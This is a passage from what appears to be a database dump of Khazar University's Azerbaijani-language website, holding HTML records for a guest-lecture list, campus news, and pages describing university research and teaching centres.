Universiteti,&nbsp;Rusiya)</p><p><strong>29</strong><strong>. 14.04.09</strong>. Qaraxanlı Dövrü Ədəbi Dili.<strong>Ahmet B.Ercilasun</strong> (Qazi Universitəsi,Türkiyə)</p>\r\n<p><strong>30.&nbsp;</strong><strong>28.04.09</strong>.&nbsp;I&nbsp;Dünya\r\nMüharibəsi Dövründə Osmanlı İmperiyasının Qafqaz Siyasəti.<strong>Michael A.Reynolds (</strong>ABŞ)</p>\r\n<p><strong>31</strong><strong>. 03.11.09</strong>.&nbsp;Şumer- Bəşəriyyətin Ən Qədim Mədəniyyətidir.<strong>Veronika K</strong>.<strong>Afanasyeva</strong> (Sankt-Peterburq Şərqşunaslıq İnstitutu,&nbsp;Rusiya)</p>\r\n<p><strong>32</strong><strong>. 05.11.09</strong>.&nbsp;Qədim Mədəniyyətlər və Müasir Dövr. <strong>Veronika K.Afanasyeva&nbsp;(</strong>Sankt-Peterburq<strong> </strong>Şərqşünaslıq İnstitutu, Rusiya) </p>\r\n<p><strong>33</strong><strong>. 10.11.09</strong>.&nbsp;İslam və Qərb Mədəniyyətinin Müqayisəsi.&nbsp;<strong>Tahsin Görgün.&nbsp;(</strong>Türkiyə)<strong></strong></p>\r\n<p><strong>34</strong>.&nbsp;<strong>12.11.09</strong>.&nbsp;Qlobal\r\nPerspektivdən İslam və Müasirləşmə.&nbsp;<strong>Tahsin\r\nGörgün.&nbsp;(</strong>Türkiyə<strong>)</strong></p>\r\n<p><strong>35</strong><strong>.&nbsp;04.05.10</strong>.&nbsp;Əlçatmaz Nöqtələrə Ayaqbasanların Gündəliyi.&nbsp;<strong>Hüseyn Bağırov</strong> (Ekologiya və Təbii Sərvətlər\r\nNazirliyi) </p>\r\n<p><strong>36</strong><strong>. 11.05.10</strong>.&nbsp;Müasir İqlim Dəyişmələri və Azərbaycan.<strong>Rza Mahmudov&nbsp;</strong>( Ekologiya və Təbii Sərvətlər\r\nNazirliyi Hidrometeorologiya Elmi-Tədqiqat İnstitutunun Direktoru,&nbsp;Azərbaycan) </p>\r\n<p><strong>37.&nbsp;</strong><strong>28.09.10</strong>. II Dünya Müharibəsi İllərində Böyük Üçlüyün İttifaq\r\nDiplomatiyası. <strong>Vladimir Peçatnov&nbsp;</strong>(Moskva\r\nDövlət Beynəlxalq Əlaqələr İnstitutu,&nbsp;Rusiya)</p>\r\n<p><strong>38</strong><strong>. 30.09.10</strong>. SSRİ və ABŞ üçün II Dünya Müharibəsi Geosiyasi Nəticələri.\r\n<strong>Vladimir</strong> <strong>Peçatnov.</strong> (Moskva Dövlət Beynəlxalq Əlaqələr İnstitutu,&nbsp;Rusiya)<strong></strong></p>\r\n<p><strong>39</strong><strong>.</strong>&nbsp;<strong>26.10.10</strong>.\r\nSözdə Erməni Soyqırımının Mübahisəli Arxiv Qaynaqları Haqqında .<strong>Kemal Çiçek</strong> (Türk Tarix Qurumu,&nbsp;Türkiyə)</p>\r\n<p><strong>40</strong><strong>.&nbsp;27.10.10</strong>.&nbsp;Ermənilərlə Bağlı Yerdəyişdirmə və Osmanlı Qaynaqlarının\r\nƏhəmiyyəti. <strong>Kemal Çiçek&nbsp;</strong>(Türk Tarix\r\nQurumu,&nbsp;Türkiyə)</p>\r\n<p><strong>41</strong><strong>. 23.11.10</strong>.&nbsp;İmperiyalar Boşluğunda Regional Diplomatiya:İranın 1918-20-ci illər Azərbaycan Demokratik\r\nRespublikasına Dair Siyasəti.<strong>Oliver Bast\r\n(</strong>Head\r\nof Middle Eastern Studies School of languages,&nbsp;Linguistics and Cultures.&nbsp;The University of\r\nManchester)</p>\r\n<p><strong>42.&nbsp;</strong><strong>10.12.10</strong>.&nbsp;Azərbaycanın Ən Məşhur Romanı” Əli və Nino”nun Müəllifi\r\nKimdir?.<strong>Betty Blair</strong>\r\n(Editor of “Azerbaijan International”)</p>\r\n<p><strong>43</strong><strong>. 28.12.10</strong>.&nbsp;Tarixşünaslıq: Problemlər və Fərqli Yanaşmalar.&nbsp;<strong>Cəmil Həsənli, Hamlet İsaxanlı</strong>.</p>\r\n<p><strong>44</strong>.&nbsp;<strong>08.02.11</strong>.&nbsp;Çağdaş\r\nQlobal Mühitdə Akademik Azadlıq və Universitənin Muxtariyyatı.&nbsp;<strong>Kemal Gürüz</strong> (Sabiq YÖK başkanı, Türkiyə)</p>\r\n<p><strong>45</strong>.&nbsp;<strong>22.02.11.</strong> Novruz Çərşənbələri və Regional Özəllikləri.&nbsp;<strong>Güllü Yoloğlu</strong> (Tarix elmləri doktoru,&nbsp;Azərbaycan)</p>\r\n<p><strong>46</strong>.&nbsp;<strong>15.03.11</strong>.&nbsp;Faşizmə Qarşı İtaliya Müqavimət Hərəkatı və Onun Azərbaycanlı\r\nİştirakçıları.&nbsp;<strong>Mixail Talalay</strong></p>\r\n<p><strong>47</strong>.&nbsp;<strong>24.05.11</strong>.&nbsp;Rusiya\r\nİmperiyasının Süqutu və Müsəlmanlar.&nbsp;<strong>Salavat\r\nİsakov</strong> (Rusiya)</p>\r\n<p><strong>48</strong><strong>. 26.05.11</strong>.&nbsp;Azərbaycan Mühacirəti.Yeni Sənədlər və Materiallar.\r\n<strong>Salavat İsakov</strong> (Rusiya)</p>\r\n<p><strong>49</strong>.&nbsp;<strong>28.09.11</strong>. İslam və Qərb Siyasi Düşüncəsi.Tarixin Dərsləri Varmı?&nbsp;<strong>Antony Black </strong>(Şotlandiya)</p>\r\n<p><strong>50</strong>.&nbsp;<strong>01.11.11</strong>.&nbsp;Texnologiya&nbsp; İnsan Həyatının Amili Kimi.&nbsp;<strong>Larry.A.Hickman </strong>(Southern İllinois\r\nUniversity,&nbsp;USA)</p>\r\n<p><strong>51</strong>.&nbsp;<strong>09.12.11</strong>.&nbsp;Əbu Hamid&nbsp;\r\nƏl-Qəzali: Tarix və bu gün.<strong>Ahmet\r\nArslan, Hamlet İsaxanlı.</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>52</strong>. <strong>27.12.11.\r\n</strong>Epos və Türk Tarix Öncəsi.<strong>Süleyman\r\nƏliyarlı</strong>.&nbsp;(Əməkdar elm xadimi,&nbsp;Tarix elmlər doktoru,&nbsp;BDU)</p>\r\n<p><strong>53</strong><strong>. 12.04.12</strong>. Qədim Rus Yazı Abidələrində Qədim Türk Etnoeydmləri.\r\n<strong>Zahir Əsədov</strong> (Bakı Slavyan\r\nUniversiteti)</p>\r\n<p><strong>54</strong>.&nbsp;<strong>01.05.12</strong>.\r\nİşığın Psixoloji Effekti.Biologi Saat və Depressiya.&nbsp;<strong>Reşit Canbeyli</strong>.(Boğaziçi Universitəsi-Türkiyə,&nbsp;Kolumbiya\r\nUniversiteti,&nbsp;ABŞ)</p>\r\n<p><strong>55</strong><strong>. 15.05.12</strong>. Azərbaycan Mədəniyyəti və Təhsilinin İnkişafında\r\nQori Seminariyasının Rolu.&nbsp;<strong>Hüseyn Əhmədov</strong>\r\n(Azərbaycan Pedaqoji Universiteti)</p>\r\n<p><strong>56</strong>.&nbsp;<strong>07.12.2012</strong>. Əlimərdan Bəy Topçubaşov.&nbsp;Üç Ölkə Arasında Keçən Ömür.\r\n<strong>Cəmil Həsənli</strong></p>\r\n<p><strong>57</strong>.&nbsp;<strong>23.04.2013</strong>.&nbsp;Teodor\r\nŞumovski-100.&nbsp;Həyat və Yaradıcılığı.&nbsp;<strong>Nərgiz\r\nAxundova</strong> (AMEA-nın Tarix İnstitutu)</p>\r\n<p><strong>58</strong><strong>. 31.05.2013</strong>. İranın Yaxın Tarixi və Bu Günü: Əsas İnkişaf Meylləri\r\nvə Yaxın Gələcəyə Baxış.&nbsp;<strong>Michael Rubin</strong>\r\n(ABŞ)</p>\r\n<p><strong>59. </strong><strong>01.11.2013</strong>. Seyid Yəhya Bakuvi: Həyatı, Yaradıcılığı və Məktəbi.\r\n<strong>Mehmet Rıhtım </strong>(Qafqaz Araştırmaları\r\nİnstitutu) </p>\r\n<p><strong>60</strong>.&nbsp;<strong>17.02.2013</strong>.&nbsp;Sülh və Hərb.Gülüstan Sülh Müqaviləsinin Reallıqlarına\r\nYeni Tarixi Baxış.&nbsp;<strong>Oleq Yuryeviç</strong> <strong>Kuznetsov</strong>.&nbsp;(Tarixçi-hüquqşunas,&nbsp;Rusiya)</p>\r\n<p><strong>61</strong><strong>. 21.01.2014</strong>.&nbsp;Türkiyədə Neolitik Dönəm Kazıları və Yeni Görüşlər.\r\nArkeolojik Kazı Yerlerinde Koruma, Sergileme ve Açık Hava Müzeleri.&nbsp;<strong>Mehmet Özdoğan</strong>.&nbsp;<strong>Zeynep Eres ( </strong>Türkiyə<strong>)</strong></p>\r\n<p><strong>62. </strong><strong>17.12.2014</strong>. Qafqazın Ekoloji Birliyi. <strong>Georgi Kvesitadze</strong> (Gürcüstan Elmlər Akademiyasının Prezidenti).</p>\r\n<p><strong>63.</strong>&nbsp;<strong>03.02.2015</strong>.&nbsp;Genetik Miqrasiyaların coğrafiyası və tarixi.&nbsp;<strong>Prof. Stoyan Dinkov</strong> (Bolqarıstan).</p>\r\n<p><strong>64.</strong>&nbsp;<strong>07.04.2015</strong>.&nbsp;Mirzə Şəfi Vazeh və\r\nFreiderich Bodenstedt.&nbsp;Böyük dostluq və böyük ayrılıq. <strong>Prof.Hamlet İsaxanlı.</strong></p>\r\n<p><strong>65.</strong> <strong>30.01.2016.\r\n</strong>Mərkəzi sinir sisteminin<strong> </strong>quruluşu. <strong>Prof. Mahmut Gazi Yaşargil&nbsp;</strong>(Türkiyə).</p>\r\n<p><strong>66.&nbsp;</strong><strong>18.04.2016. </strong>Avropada köçəri xalqlar: erkən\r\norta əsr Avropa tarixinin təşəkkülündə macarların və türklərin rolu. <strong>Prof. İstvan Zimonyi </strong>(Macarıstan,&nbsp;Szegedi University).&nbsp; </p>\r\n<p><strong>67</strong><strong>. 04.05.2018. </strong>Yaxın\r\nŞərq və Türkiyə.<strong> T.C. 26-cı Genelkurmay\r\nBaşkanı İlker Başbuğ&nbsp;(</strong>Türkiyə).</p></ol>'),(5587,3215,'az','Xəzər Universitetinin nümayəndələri Avropa-Azərbaycan məktəbinin kampusunda','2018-ci il mayın 21-də Xəzər Universitetinin Tələbələrin cəlb olunması...','<p>2018-ci il mayın 21-də Xəzər Universitetinin Tələbələrin cəlb olunması üzrə işçi qrupun rəhbəri professor Fuat Rəsulov və İnsan Resursları meneceri Özal Məmmədli Avropa-Azərbaycan məktəbinin kampusunda Xəzər Universitetini tanıtmaq məqsədilə görüş keçirdilər. Bu görüşdə əsasən 10-cu sinif şagirdləri iştirak edirdilər. Şagirdlərlə görüşdən əvvəl məktəbin Universitet işləri üzrə məsləhətçisi Lalə Rüstamova və Humanitar departamentinin koordinatoru Namiq Məmmədovla qısa görüş baş tutdu. Görüşdə səfərin məqsədləri və şagirdlərə çatdırılacaq məlumat haqda qısa olaraq danışıldı, onlara universitetin reklam bukletləri, kataloqu və s. sənədlər təqdim olundu.</p><p>Avropa-Azərbaycan məktəbinin İB proqramı üzrə təhsil alan şagirdləri ilə görüş zamanı ilk növbədə Xəzər Universiteti barədə videoçarx göstərildi. Sonra isə görüş ingilis dilində gerçəkləşdi, şagirdlərə universitetin imkanları və üstünlükləri barəsində təqdimat edildi.</p><p>Görüşün sonunda şagirdlərin sualları cavablandırıldı. Universitetin reklam bukletləri və suvenirlər onlara təqdim olundu.</p>'),(2506,1514,'az','Təsisçinin rəyi ilə yeni kitab çap olundu','Bu günlərdə “Oğuz” Müstəqil Araşdırmaçılar Qrupunun layihəsi və Qeyri-Hökumət Təşkilatlarına Dövlət Dəstəyi Şurasının maliyyə dəstəyi ilə “On yeddi illik mücadilə: Azərbaycanda sovet...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bu günlərdə “Oğuz” Müstəqil\r\nAraşdırmaçılar Qrupunun layihəsi və Qeyri-Hökumət Təşkilatlarına Dövlət Dəstəyi\r\nŞurasının maliyyə dəstəyi ilə “On yeddi illik mücadilə: Azərbaycanda sovet\r\nişğalına qarşı milli müqavimət hərəkatı.1920-1937” kitabı çapdan çıxmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Kitabın rəyçilərindən biri Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlıdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bu haqda daha geniş məlumatı bu link\r\nvasitəsilə əldə etmək olar:</p>\r\n<a href=\"http://xalqqazeti.com/az/news/politics/77398\">http://xalqqazeti.com/az/news/politics/77398</a>'),(233,103,'az','Hüquq Tədris Mərkəzi','Hüquq Tədris Mərkəzi','<div><br></div><div><strong><img src=\"http://www.khazar.org/files/demo/15_10_13_Slide1.jpg\" style=\"border:0px #000000;width:364px;height:154px;margin:7px;float:left\"><img src=\"http://www.khazar.org/files/demo/15_10_14_logo.jpg\" style=\"border:0px  #000000;width:346px;height:113px;margin:7px;float:left\"></strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div>&nbsp;</div><div><br></div><p style=\"text-align:justify\"><strong style=\"text-align:justify\"><em>Hüquq Tədris Mərkəzi </em>&nbsp;</strong><span style=\"text-align:justify\">2013-cü ilin yanvar ayında Azərbaycan Hüquqşünasları Konfederasiyası (AHK) və ABŞ İnkişaf Agentliyi (USA</span><span style=\"text-align:justify\">I</span><span style=\"text-align:justify\">D) dəstəyi ilə “Azərbaycan Hüquq Konsorsiumu” layihəsi çərçivəsində yaradılmışdır.&nbsp;</span></p><p style=\"text-align:justify\">AHK layihəsinin ümumi məqsədləri hüququn aliliyinin, vətəndaşların hüquqlarının və maraqlarının daha yaxşı müdafiəsinin təmin olunması üçün hüquqi maarifləndirmə və vətəndaş cəmiyyətinin təsirliliyinin artırılmasıdır.Layihənin xüsusi məqsədləri isə Azərbaycan hökümət dairələrinin vətəndaşların hüquqlarının qorunması sahəsində həyata keçirilən islahatların inkişafının aktiv şəkildə dəstəklənməsi və təşviq edilməsi, müştərilərə yardım göstərilməsi və qanunların tətbiqi sahəsində hüquqi peşəkarlığın səviyyəsinin artırılmasından ibarətdir. &nbsp;Hazırda Azərbaycanda gənc hüquqşünasların hazırlanması əsasən akademik &nbsp;səviyyədə keçirilir.&nbsp;</p><p style=\"text-align:justify\">Belə ki, tələbələrin kifayət qədər praktiki vərdişlərə yiyələnməməsi uğurlu karyeranın başlanmasına təsir edir. Bu məqsədlə Mərkəzdə gənc məzun və hüquqşünas tələbələr üçün intensiv təlimlərin keçirilməsi və müxtəlif mövzuda nəşriyyatların çap olunması nəzərdə tutulur.&nbsp;</p><p style=\"text-align:justify\">Kursların nüfuzunu və xidmətlərin yüksək keyfiyyətliliyini &nbsp;təmin etmək məqsədilə Tədris Mərkəzinə hüquq elmini tədris edən aparıcı mütəxəssislər və praktik hüquqşünaslar cəlb olunur.&nbsp;Bundan başqa, gənc hüquqşünaslara və hüquq tələbələrinə insan hüquqları üzrə biliklərin praktiki baxımdan təkmilləşdirilməsi, vəkillik bacarıqlarının aşılanması, məhkəmə çəkişmələri və məhkəmə çıxışları zamanı peşəkar hüquqşünaslarla müşayiət olunmaları nəzərdə tutulmuşdur.&nbsp;</p><p style=\"text-align:justify\">Mərkəz hər il ən azı 20 tələbəyə yüksək keyfiyyətli əsaslarla təlim-tədris kursları keçməyi və 6-7 gənc hüquqşünası Vəkillər Kollegiyasına üzv olmaq üçün imtahanlara hazırlaşdırmağı planlaşdırır.&nbsp;</p><p style=\"text-align:justify\"><strong><em>Mərkəzin məqsədi aşağıdakılardan ibarətdir:</em>&nbsp;</strong></p><ul><li style=\"text-align:justify\">İnsan hüquq və azadlıqları sahəsində biliklərin və məlumatların artırılması, cəmiyyətdə konstitusionalizm dəyərlərinin təbliği;</li><li style=\"text-align:justify\">Gənc hüquqşünasların vəkillik üzrə imtahanlara hazırlanması;</li><li style=\"text-align:justify\">Az təminatlı əhali qruplarına pulsuz hüquqi yardımların göstərilməsi;</li><li style=\"text-align:justify\">İnsan hüquqlarının müdafiəsi ilə məşğul olan təsisatların nümayəndələrinin və üzvlərinin insan hüquqlarının müdafiəsinin milli və beynəlxalq mexanizmlərində istifadə bacarığının artırılması üçün dövrü kursların təşkili;</li><li style=\"text-align:justify\">Gənc hüquqşünasların və Azərbaycan Respublikasının ərazisində fəaliyyət göstərən Universitetlərin hüquq fakültəsi tələbələri ilə hüquq sahəsində tanınmış milli və beynəlxalq ekspertlərlə görüşlərin təşkili;</li><li style=\"text-align:justify\">Vəkillər, praktiki fəaliyyətlə məşğul olan hüquqşünaslar, hakimlər, insan hüquqlarını müdafiə edən təsisatlar və şəxslər üçün praktikumların, manualların, metodiki vəsaitlərin hazırlanması və mütəmadi sərgi təşkil etməklə onların satışının təşkili.</li><li style=\"text-align:justify\">Hüququn ayrı-ayrı sahələrindəki boşluqları nəzərə alaraq yerli və beynəlxalq ekspertlərin dəstəyi əsasında Mərkəzdə İnzibati hüquq, Cinayət hüququ, Qanunvericilik texnologiyası, &nbsp;Vəkillik imtahanına hazırlıq, İnsan Hüquqları üzrə Avropa Məhkəməsinin Presedent Hüququ, Ailə hüququ, Əmək hüququ, Hüquqi yazı və s. mövzularda təlimlər keçiriləcək.</li></ul><p>Kursu uğurla bitirənlər sertifikatla təltif ediləcəkdir.</p>'),(234,104,'az','Lüğət və Ensiklopediya Mərkəzi','Lüğət və Ensiklopediya Mərkəzi','<p>Xəzər Universitetinin<strong> Lüğət və Ensiklopediya Mərkəzi</strong> 1996-cı ilin aprel ayında yaradılmışdır. Yarandığı gündən mərkəz linqvistik və leksikoloji tədqiqat və lüğətlərin tərtibini həyata keçirir.</p><p>Mərkəz son bir neçə ildir ki, 6 cilddən ibarət olan “Xəzər İngiliscə-Azərbaycanca Böyük Lüğət”-in tərtibi ilə məşğuldur&nbsp;(professor Hamlet İsaxanlı və mərhum professor Tofiq Abasquliyev tərəfindən redaktə olunub). Lüğətin tərtibində məqsəd dil öyrənənlərə, tərcüməçi və alimlərə əhəmiyyətli yardım göstərməkdir. Bu lüğətin 3 cildi artıq Xəzər Universiteti Nəşriyyatı&nbsp;tərəfindən nəşr olunmuşdur, qalan 3 cildi isə çapa hazırlanır.</p><p>Lüğət təxminən 250 000 söz, külli miqdarda ifadə və nümunə cümlələrdən ibarətdir.</p><p>Lüğətdə həmçinin sinonimlər, sözlərin üslubi fərqləri, idiomatik ifadələr və atalar sözləri də verilir.</p><p>Lüğətdən bir neçə nümunə sözlər: Enigmatic- [,enig’mætik] müəmmalı, sirli, qaranlıq, anlaşılmayan Luminescence- [,l(j)u:mi’nesns] işıqlanma, işıqsaçma qabiliyyəti, lüminessensiya Kayak- [‘kaiæk] 1) biryerli yüngül eskimos qayığı; 2) qayıq, baydarka Intriguingly- [in’tri:giŋli] adv 1. intriqa vasitəsilə/ yolu ilə; 2. maraq doğuracaq/ marağa səbəb olacaq bir tərzdə.</p><p style=\"text-align:center\"><img src=\"/files/letters/o_1ad1b1cdn130bn3p1jan1gg91a64a.gif\" style=\"border:0px #000000;vertical-align:middle;width:300px;height:197px;margin-left:7px;margin-top:7px;margin-bottom:7px\">&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"/files/letters/o_1ad1b1hah1v13giobi1sgh1qkag.gif\" style=\"border:0px #000000;vertical-align:middle;width:300px;height:197px\">&nbsp; &nbsp;&nbsp;<img src=\"/files/letters/o_1ad1b1k5s18sgmgo2k2a551shim.gif\" style=\"border:0px #000000;vertical-align:middle;width:300px;height:197px;margin-top:7px;margin-right:7px;margin-bottom:7px\"><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h4><strong>Əlaqə:</strong></h4><p><strong><img src=\"/files/letters/gunel_sh.jpg\" style=\"float:left;width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/letters/CV-Gunel_Shukurova.pdf\">Günel Şükürova</a></strong></p><p><strong>Redaktor köməkçisi</strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:gshukurova@khazar.org\">gshukurova[at]khazar.org</a><a href=\"mailto:gshukurova@khazar.org\"></a></p>\r\n<p><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (271)</p>'),(235,105,'az','Avrasiya Hasilat Sənayesi Bilik Mərkəzi','Avrasiya Hasilat Sənayesi Bilik Mərkəzi','<a href=\"http://eurasiahub.khazar.org\"><img src=\"/files/image/14_11_20_logo_hub.jpg\" style=\"border:0px  #000000;width:90px;height:50px;float:left;margin:7px\"></a><h3><span style=\"font-family:Calibri, sans-serif\"><span style=\"font-weight:normal\"><a href=\"http://eurasiahub.khazar.org\"></a></span><h3><a href=\"http://eurasiahub.khazar.org\" style=\"font-weight:normal\">Sayta keçid\r\nüçün bura klik edin.</a></h3>  <a href=\"http://eurasiahub.khazar.org\"></a></span></h3>  <br><br>\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/VXKknkNXNvg\" frameborder=\"0\"></iframe><br><br><img src=\"/files/demo/14_11_20_logo_hub.jpg\" style=\"width:236px;height:105px\">&nbsp; &nbsp;<img src=\"/files/letters/brand1.jpg\" style=\"border:0px  #000000;width:200px;height:87px;vertical-align:baseline\"><br>\r\n<a class=\"twitter-timeline\" href=\"https://twitter.com/eurasia_hub\" id=\"716966716417433600\">Tweets by @eurasia_hub</a>\r\n<!-- ELRTE_SCRIPT:script6707474370133133 -->'),(236,106,'az','Təhsil Siyasəti İnstitutu','Təhsil Siyasəti İnstitutu','<p>Təhsil Siyasəti İnstitutu tədrisin təkmilləşdirilməsi, təhsildə idarəetmə metodlarının inkişaf etdirilməsi məqsədi ilə tədqiqatlar aparır və treyninqlərin təşkili ilə məşğul olur.</p><p><strong>Bukletimiz:</strong>&nbsp;<a href=\"http://www.khazar.org/files/demo/institute_of_education_policy_brochure.pdf\">institute&nbsp;of&nbsp;education&nbsp;policy&nbsp;brochure</a></p><p><strong>Powerpoint təqdimatı:</strong>&nbsp;<a href=\"http://www.khazar.org/files/demo/Khazar_IEP_ENG_2014a_.pdf\">Khazar&nbsp;IEP&nbsp;ENG</a></p><h3><strong>Tədqiqat sahələri</strong></h3><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Kurikulum və təlimat:</strong></p><ul><li>Kurikulum nəzəriyyəsi</li><li>Təlim nəzəriyyəsi</li><li>Kurikulumların təşkili</li><li>Təlimatların tərtibi (ibtidai, orta və ali təhsil səviyyələrində)</li><li>Təhsilin ümumi əsasları</li></ul><p><strong>Təhsil İdarəsi:</strong></p><ul><li>Təhsil İdarə olunmasının əsasları</li><li>Təhsildə idarəçilik (məktəb, kolleclərin peşəkar səviyyədə təşkili, idarə edilməsi və inkişaf etdirilməsi, təhsil müəssisələrində rəhbərlik və idarəetmə)</li><li>Azərbaycanda təhsil siyasəti və planlaşdırma (Təhsil Qanunu da daxil olmaqla)</li><li>Təhsilin iqtisadiyyatı və maliyyələşdirilməsi</li><li>Ali təhsilin təşkili və idarə edilməsi</li><li>Tədrisin və kadrların müşahidəsi və qiymətləndirilməsi</li></ul><p>&nbsp;<strong>Müqayisəli və Beynəlxalq Təhsil:</strong></p><ul><li>Müqayisəli Təhsilin tarixi inkişafı</li><li>Müqayisəli Təhsildə tədqiqat metodları</li><li>Təhsil sistemləri; ibtidai, orta və ali təhsil modelləri</li></ul><p><strong>Təhsilin tarixi və fəlsəfəsi:</strong></p><ul><li>Təhsilin fəlsəfi əsasları</li><li>Təhsilin Sosiologiyası</li><li>Təhsilin tarixi</li><li>Ali təhsilin tarixi</li><li>ABŞ, Böyük Britaniya, Fransa, Almaniya, Rusiya, Yaponiyada təhsil</li><li>İnkişaf etməkdə olan ölkələrdə təhsil (Çin, Hindistan, Türkiyə, Azərbaycan)</li></ul><p><strong>Təhsil psixologiyası:</strong></p><ul><li>Təhsilin psixoloji əsasları</li><li>Sosial Psixologiyanın (və İnsan İnkişafı) prinsipləri</li><li>Təlim və motivasiya</li><li>Fizikometrika</li><li>Kəmiyyət metodları (Eksperimental dizayn, statistik nəticə, korrelyasiya, reqressiya, Faktor təhlili, dəyişkən metodlar, keyfiyyət faktı)</li><li>Tədqiqat metodologiyası (Kompüter metodları, statistik modellər)</li></ul><p><strong>Fənnə giriş və Sosial Qrup Təhsilinin prinsipləri</strong></p><ul><li>Xarici dil</li><li>Elm</li><li>Sağlamlıq və həyat haqqında elm</li><li>Xüsusi təhsil</li><li>Tək fənnin tədrisi</li><li>Bir neçə fənnin tədrisi</li><li>Dini təhsil</li><li>Milli azlıqların təhsili</li></ul>'),(237,107,'az','Keyfiyyətin Təminatı Mərkəzi','Keyfiyyətin Təminatı Mərkəzi','<p>Ali məktəb insan gücü yetişdirir və bilik istehsal edir. Ona görə ali məktəbin səviyyəsi bir tərəfdən bu prosesin nə dərəcədə dəqiq və səlist işləməsi ilə, digər tərəfdən isə prosesin nəticəsi ilə, yəni məzun­ların səviyyəsi ilə, verilən diplomun gücü ilə müəy­yən edilir.<strong>&nbsp;</strong>Ali məktəb tədris prosеsindəki imtahan­lar silsiləsi və digər tələbatlar ilə tələbənin məzuna, yəni mütəxəssisə çеvrilməsi yolunda sanki süzgəc­lər qoymuş olur. Ali məktəbin gücü və səviyyəsi bu süzgəclər silsiləsinin ciddiliyi və dəqiqliyi ilə birba­şa bağlıdır və bu, təhsildə keyfiyyətin yüksəldilməsinin əsas yoludur.</p><p>İnsan fəaliyyətinin bütün sahələrində olduğu ki­mi təhsildə də kеyfiyyət anlayışına müxtəlif ya­naş­malar mövcuddur. Keyfiyyət yüksək standart­lara ma­­lik olmaqdır, fərqli, istisna xüsusiyyətdir. Keyfiyyət bir prosesdir və bu baxımdan keyfiyyətin artırılması konsepsiyası keyfiyyətin təminatı və ya keyfiyyətə nəzarətdən daha vacibdir.</p><p>Hal-hazırda təhsil siyasəti inkişaf edir. Azərbaycanın neft və digər mineral resursursları&nbsp; sayəsində iqtisadiyyat ilə yanaşı ali təhsil də durmadan irəliləyir. Lakin böyük uğurlar əldə etmək üçün zaman lazımdır və bu yolda hər bir ali məktəb öz töhfəsini verməlidir. Xəzər universitetində Keyfiyyətin Təminatı Mərkəzinin yaradılmasında məqsəd&nbsp; dünya təcrübəsindən yararlanaraq universitetdə təhsilin keyfiyyətini yüksəltmək və ümumilikdə Azərbaycanda bu prosesin həyata keçirilməsinə dəstək olmaqdan ibarətdir.</p><p><br></p><p><strong><strong class=\"<img src=\" http:=\"\" khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 9b8f1898=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media05739554073225861\" width=\"150\" height=\"100\" style=\"font-size: x-large;\">Tempus Layihələri</strong></strong><strong></strong></p><div><strong><strong class=\"<img src=\" http:=\"\" khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 9b8f1898=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media05739554073225861\" width=\"150\" height=\"100\" style=\"font-size: x-large;\"><br></strong></strong></div><p><strong style=\"font-size:medium\"><strong class=\"<img src=\" http:=\"\" khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 9b8f1898=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media05739554073225861\" width=\"150\" height=\"100\" style=\"\">2011-2014</strong></strong></p><p></p><p><strong><a href=\"http://tempus-doqup.unige.it/\" target=\"_blank\">Tədris&nbsp;Proqramlarının Keyfiyyətinin Təminatı Sahəsində Sənədlərin Hazırlanması</a></strong></p><p></p><p>Layihənin məqsədi&nbsp;Avropa standardlarına və keyfiyyətin&nbsp;təminatının təlimatına uyğun olaraq&nbsp;partnyor ölkələrdə&nbsp;tədris proqramlarının keyfiyyətinin təminatı&nbsp;üçün&nbsp;onlayn sənədləşdirmə sistemi&nbsp;müəyyənləşdirmək və tətbiq etməkdir.&nbsp;</p><p><strong>Layihə koordinatoru:</strong>&nbsp;</p><p><a href=\"http://www.unige.it/\">University of Genoa</a></p><p><strong>Layihə iştirakçıları:</strong></p><p><a href=\"http://bsu.edu.az/\" target=\"_blank\">Baku State University</a></p><p><a href=\"http://www.khazar.org/\" target=\"_blank\">Khazar University</a></p><p><a href=\"http://amu.edu.az/\">Azerbaijan Medical University</a></p><p><a href=\"http://www.edu.gov.az/\">Ministry of Edication of Azerbaijan</a></p><p><a href=\"http://www.oyu.edu.az/\">Odlar Yurdu University</a></p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University</a></p><p><a href=\"http://www.kazgasa.kz/\">Kazakh Leading Academy of Architecture and Civli Engineering</a></p><p><a href=\"http://www.ablaikhan.kz/\">Kazakh \"Ablai Khan\" University for International Relations and World Languages</a></p><p><a href=\"http://www.kazntu.kz/en/node/829\">Kazakh National Technical University N.A. K.I.Satpayev</a></p><p><a href=\"http://www.enu.kz/\">Eurasian National University N.A.L. Gumilyov</a></p><p><a href=\"http://www.iqaa.kz/\">Independent Kazakhstan Agency for Quality Assurance in Education</a></p><p><a href=\"http://www.naric.kz/\">National Center for Assessing Quality of Education</a></p><p><a href=\"http://www.edu.gov.kz/en\">Ministry of Education and Science of Republic of Kazakhstan</a></p><p><a href=\"http://www.university.kg/\">Kyrgyz National University N.A. Jussup Balasagyn</a></p><p><a 